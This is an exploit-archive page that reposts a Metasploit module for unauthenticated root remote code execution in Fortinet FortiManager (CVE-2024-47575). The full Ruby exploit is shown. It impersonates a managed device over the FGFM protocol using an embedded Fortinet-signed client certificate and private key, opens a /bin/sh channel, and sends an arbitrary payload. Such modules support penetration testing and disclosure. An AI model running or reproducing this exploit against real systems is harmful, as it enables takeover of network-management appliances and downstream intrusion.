Fortinet FortiManager Unauthenticated Remote Code Execution

2024.12.03
Credit: sfewer-r7
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( update_info( info, 'Name' => 'Fortinet FortiManager Unauthenticated RCE', 'Description' => %q{ This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager Cloud devices to achieve unauthenticated RCE with root privileges. The vulnerable FortiManager versions are: * 7.6.0 * 7.4.0 through 7.4.4 * 7.2.0 through 7.2.7 * 7.0.0 through 7.0.12 * 6.4.0 through 6.4.14 * 6.2.0 through 6.2.12 The vulnerable FortiManager Cloud versions are: * 7.4.1 through 7.4.4 * 7.2.1 through 7.2.7 * 7.0.1 through 7.0.12 * 6.4 (all versions). }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # MSF Exploit & Rapid7 Analysis ], 'References' => [ ['CVE', '2024-47575'], # AttackerKB Rapid7 Analysis. ['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'], # Bishop Fox details certificate requirements for connecting to the FGFM service. ['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'], # Vendor Advisory. ['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423'] ], 'DisclosureDate' => '2024-10-23', 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Privileged' => true, # Code execution as 'root' 'DefaultOptions' => { 'RPORT' => 541, 'SSL' => true, 'FETCH_WRITABLE_DIR' => '/tmp' }, 'Targets' => [ [ 'Default', {} ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ # The exploit provides a suitable client certificate/key pair by default, however we can let a user configure # a different certificate/key pair to use if they want. The user can also override the serial number and # platform if needed, but the exploit will try to detect the serial number and platform from the certificate # by default. OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']), OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']), OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']), OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.']) ] ) end def check fgfm_sock = make_socket peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert) fgfm_sock.close organization = get_cert_subject_item(peer_cert, 'O') common_name = get_cert_subject_item(peer_cert, 'CN') # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using. # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial # number identifier. return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG') CheckCode::Unknown end def exploit client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert client_cert = OpenSSL::X509::Certificate.new(client_cert_raw) common_name = get_cert_subject_item(client_cert, 'CN') fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name print_status("Client certificate common name: #{common_name}") serial_number = 'FMG-VM0000000000' platform = 'FortiManager-VM64' # The platform needs to be the expected type of the corresponding serial number. We try to match these up here, # and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options # in case it is needed. if common_name.start_with? 'FMG' serial_number = common_name platform = 'FortiManager-VM64' elsif common_name.start_with? 'FG' serial_number = common_name platform = 'FortiGate-VM64' else print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.') end serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber'] platform = datastore['ClientPlatform'] if datastore['ClientPlatform'] print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.") print_status('Connecting...') fgfm_sock = make_socket fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock print_status('Registering device...') req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00" resp1 = send_packet(fgfm_sock, req1) unless resp1&.include?('reply 200') fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.') end print_status('Creating channel...') req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00" resp2 = send_packet(fgfm_sock, req2) unless resp2&.include?('action=ack') fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.') end localid = resp2.match(/localid=(\d+)/) unless localid fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.') end print_status('Triggering...') req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n" send_packet(fgfm_sock, req3, read: false) end # We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may # either be a file path, or a blob of text. def make_socket hash = { 'Proto' => 'tcp', 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['RPORT'], 'SSL' => true, 'SSLVerifyMode' => 'NONE', 'Context' => { 'Msf' => framework, 'MsfExploit' => self } } hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert'] hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey'] params = Rex::Socket::Parameters.from_hash(hash) params.ssl_client_cert = get_client_cert unless datastore['ClientCert'] params.ssl_client_key = get_client_key unless datastore['ClientKey'] fgfm_sock = Rex::Socket::Tcp.create_param(params) # Register our new socket, so that abort_sockets will close this socket after the payload handler # has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout # in the exploit method, before we manually close the socket and then try to catch the session. We want to keep # the socket open until we have a session, as closing the socket too quickly can prevent the payload command # we transmit over the FGFM channel on this socket from executing. add_socket(fgfm_sock) fgfm_sock end def send_packet(fgfm_sock, data, read: true) packet = [0x36E01100, data.length + 8].pack('NN') packet += data fgfm_sock.write(packet) return nil unless read header = fgfm_sock.read(8) unless header print_error('Failed to read an FGFM header') return nil end magic, len = header.unpack('NN') unless magic == 0x36E01100 print_error('Bad magic value in FGFM header') return nil end unless len >= 8 print_error('Bad length value in FGFM header') return nil end fgfm_sock.read(len - 8) end def get_cert_subject_item(cert, type) cert.subject.to_a.each do |item| return item[1] if item[0] == type end nil end =begin An x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with a serial number of FMG-VM0000000000 and a platform of FortiManager-VM64. $ sha1sum Fortinet_Local2.cer 9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer $ sha1sum Fortinet_Local2.key d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key $ openssl x509 -noout -text -in Fortinet_Local2.cer Certificate: Data: Version: 3 (0x2) Serial Number: 405822 (0x6313e) Signature Algorithm: sha256WithRSAEncryption Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = support@fortinet.com Validity Not Before: Nov 10 21:14:26 2017 GMT Not After : Jan 19 03:14:07 2038 GMT Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = support@fortinet.com =end def get_client_cert "-----BEGIN CERTIFICATE----- MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJV UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0 LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQG EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw DwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQD ExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRp bmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeV jIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS//w oCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKd pwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPn hl/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI/JbxrWPEh+zRLqA7ZrWeBPl0AE IXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcR utg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEA l265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI/kBPVYCg zP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k/QDmiv w7/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl 35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bd ikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+ 7pactwTnQmwhvlLQ7Z/dOg== -----END CERTIFICATE-----" end def get_client_key "-----BEGIN PRIVATE KEY----- MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyH BPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX/LWgAJueapqnkv/8KAi UKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacD CX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf 7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0 yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ/po3EbrY OjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf/ZflfJ4SaZWLfNPne6vTc1RbJG ABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adj pdjv/EOAniRL+b37nt3TzSc154fOtojUGclBoAF/IMYroDlmIoLPDcZzOIAxC+GU BCkCh/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT 0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah/A9ODqMM2BJUxovW8XgR9wOIXN2 3aWwmPeAtTnVhvBaHJL/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3Ve nmD1o7zDyGAe0bGLN4rIou6I/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBl DQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8y jFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz 6cxb4d4TWsRsK73Bv1VFRg/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG/rUSp6 KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB/SP/p2YxkdgjPF/sllPEAkgHznW Gwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv/zPRSVO5F/9fJYHdWZe0eL 1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbj MMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9/cQKBgQDB 2GEPugLAqI6fDoRYjNdqy/Q/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E 871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0Q IU/BI5e/NeEfzFPYH0Wvs0Sg/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9i BFpFMaECkVcf6YotgQuUKf6uGgF+/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4e oDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDu Lh1BvSCTWFh0WIUxOrNlmlg1Uw== -----END PRIVATE KEY-----" end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top